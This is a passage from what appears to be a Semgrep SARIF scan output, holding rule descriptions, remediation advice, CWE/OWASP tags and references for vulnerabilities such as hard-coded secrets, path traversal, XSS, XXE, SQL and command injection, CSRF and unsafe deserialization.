the function 'tls.CipherSuites()' to get a list of good cipher suites. See https://golang.org/pkg/crypto/tls/#InsecureCipherSuites for why and what other cipher suites to use."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.tls.tls-with-insecure-cipher","id":"go.lang.security.audit.crypto.tls.tls-with-insecure-cipher","name":"go.lang.security.audit.crypto.tls.tls-with-insecure-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.tls.tls-with-insecure-cipher"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret","id":"go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret","name":"go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.ssh.ssh-harcoded-secret.ssh-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-file-response-django.tainted-filename-response-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-file-response-django.tainted-filename-response-django","id":"python.django.file.tainted-file-response-django.tainted-filename-response-django","name":"python.django.file.tainted-file-response-django.tainted-filename-response-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-file-response-django.tainted-filename-response-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`."},"help":{"markdown":"Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content)\n - [https://github.com/python-security/pyt//blob/093a077bcf12d1f58ddeb2d73ddc096623985fb0/examples/vulnerable_code/XSS_assign_to_other_var.py#L11](https://github.com/python-security/pyt//blob/093a077bcf12d1f58ddeb2d73ddc096623985fb0/examples/vulnerable_code/XSS_assign_to_other_var.py#L11)\n - [https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response](https://flask.palletsprojects.com/en/1.1.x/api/#flask.Flask.make_response)\n - [https://flask.palletsprojects.com/en/1.1.x/api/#response-objects](https://flask.palletsprojects.com/en/1.1.x/api/#response-objects)\n","text":"Be careful with `flask.make_response()`. If this response is rendered onto a webpage, this could create a cross-site scripting (XSS) vulnerability. `flask.make_response()` will not autoescape HTML. If you are rendering HTML, write your HTML in a template file and use `flask.render_template()` which will take care of escaping. If you are returning data from an API, consider using `flask.jsonify()`."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content","id":"python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content","name":"python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.xss.make-response-with-unknown-content.make-response-with-unknown-content"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth","id":"python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth","name":"python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.elasticsearch.python-elasticsearch-hardcoded-bearer-auth.python-elasticsearch-hardcoded-bearer-auth"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"External XML Schema is allowed for identified XML parser. The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"External XML Schema is allowed for identified XML parser. The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"External XML Schema is allowed for identified XML parser. The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The current configuration allows for XXE attacks via XML Schema (`.xsd` files). It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","id":"kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","name":"kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.schemafactory-xxe-schema.schemafactory-xxe-schema"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible JDBC injection detected. Use the parameterized query feature available in queryForObject instead of concatenating or formatting strings: 'jdbc.queryForObject(\"select * from table where name = ?\", Integer.class, parameterName);'"},"help":{"markdown":"Possible JDBC injection detected. Use the parameterized query feature available in queryForObject instead of concatenating or formatting strings: 'jdbc.queryForObject(\"select * from table where name = ?\", Integer.class, parameterName);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Possible JDBC injection detected. Use the parameterized query feature available in queryForObject instead of concatenating or formatting strings: 'jdbc.queryForObject(\"select * from table where name = ?\", Integer.class, parameterName);'"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string","id":"java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string","name":"java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.jdbc-sql-formatted-string.jdbc-sql-formatted-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding a `securityContext` to your Kubernetes pod, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"help":{"markdown":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding a `securityContext` to your Kubernetes pod, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding a `securityContext` to your Kubernetes pod, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext","id":"yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext","name":"yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.allow-privilege-escalation-no-securitycontext.allow-privilege-escalation-no-securitycontext"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret","id":"ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret","name":"ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.octokit.ruby-octokit-hardcoded-secret.ruby-octokit-hardcoded-secret"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta](https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false","id":"python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false","name":"python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.wtforms.web.wtforms-csrf-false.wtforms-csrf-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret","id":"kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret","name":"kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.sql.jetbrains-hardcoded-secret.jetbrains-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-pickle.tainted-pickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-pickle.tainted-pickle","id":"python.lang.deserialization.tainted-pickle.tainted-pickle","name":"python.lang.deserialization.tainted-pickle.tainted-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-pickle.tainted-pickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal","id":"rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal","name":"rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.path-traversal.rust-rocket-path-traversal.rust-rocket-path-traversal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-paramiko-fastapi.tainted-os-command-paramiko-fastapi)\n - [https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command](https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command)\n - 